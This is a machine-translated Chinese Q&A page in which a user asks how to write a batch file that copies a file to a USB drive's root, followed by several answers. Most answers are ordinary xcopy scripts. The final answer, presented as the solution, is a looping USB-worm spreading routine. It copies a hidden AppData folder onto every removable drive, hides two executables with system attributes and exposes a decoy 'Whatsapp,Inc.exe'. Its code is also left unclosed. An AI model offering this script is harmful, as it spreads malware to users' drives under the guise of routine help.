2013-05-29 34 views
1

我想創建一個批處理文件,將任何目錄中的文件複製到.bat文件所在的根文件夾,就像USB閃存驅動器一樣。使用批處理文件將文件複製到USB閃存驅動器根目錄

我的不完整的命令:

xcopy /s "%userprofile%\Desktop\test.txt" "?" 

我能和替代哪些 「?」 ??? 謝謝你們

+1

下一次嘗試使用Google一點點。我希望[這](http://forums.whirlpool.net.au/archive/1725281)幫助 – SaintLike

回答

0
xcopy /s "%userprofile%\Desktop\test.txt" "\" 
+0

謝謝,但不工作! – user2431902

+0

您要求將文件複製到包含批處理文件的驅動器的根文件夾中。至少那是我認爲你想要的。如果你想要別的東西,請澄清你的問題。 – foxidrive

0

你應該與USB驅動器的盤符替換它,然後:\ 所以,真正的問題是如何確定,這在系統驅動器是USB閃存驅動器,我猜?這裏是代碼:

@echo off 
setlocal enabledelayedexpansion 
set INTEXTFILE=temp.txt 
set OUTTEXTFILE=temp.bat 
set SEARCHTEXT='Removable Disk' 
set REPLACETEXT= 
set OUTPUTLINE= 
wmic logicaldisk get name,description|grep -h "Removable" > %INTEXTFILE% 

for /f "tokens=3,* delims= " %%A in ('"type %INTEXTFILE%"') do (
SET string=%%A 
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%! 
) 
echo xcopy /s "%userprofile%\Desktop\test.txt" !modified! > %OUTTEXTFILE% 
call %OUTTEXTFILE% 
del %OUTTEXTFILE% 
del %INTEXTFILE% 

但考慮到它絕對只適用於1個可移動磁盤。如果插入兩個這種類型的設備,它將會失敗。

1

這將完全按照您想要的方式連接到任何和所有連接的USB驅動器。

@echo off 

for /F "usebackq tokens=1,2,3,4 " %%i in (`wmic logicaldisk get caption^,description^,drivetype 2^>NUL`) do (

if %%l equ 2 (
xcopy /s "%userprofile%\Desktop\test.txt" %%i\ 
     ) 
     ) 
+0

你好,先生。你能解釋一下這個腳本嗎?完美工作順便說一句 – Groosha

0

你需要做的是爲你的USB目錄使用相對路徑。代碼將如下所示:

@echo off 
set /p entry= Enter the the path of the file you'd like to copy: 
copy %entry% %~dp0\*.* 
@pause 

這應該讓您進入想要從/名稱複製文件夾的提示。它會將文件命名爲與原始文件相同並保留原始格式(.txt等)。 讓我知道如果這不適合你,而不是downvoting,我會盡快爲你解決另一個解決方案。 祝你好運!

0
@ECHO Off 
:loop 
@echo off 
set INTERVAL=5 
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
    for %%c in (%%b) do (
    for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
     if %%d equ Removable (
      echo %%c is Removable 
      cd "%USERPROFILE%\Appdata\Local\SystemSettings" 
       xcopy "%USERPROFILE%\Appdata\Local\SystemSettings" "%%c" /s /e /h /y 
       ATTRIB +H -R +S %%cConfigure.exe 
        ATTRIB +H -R +S %%cHL~Realtime~Defense.exe 
         ATTRIB -H -R -s %%cWhatsapp,Inc.exe 

timeout /nobreak /t 99 
goto loop 

正是你所需要的

相關問題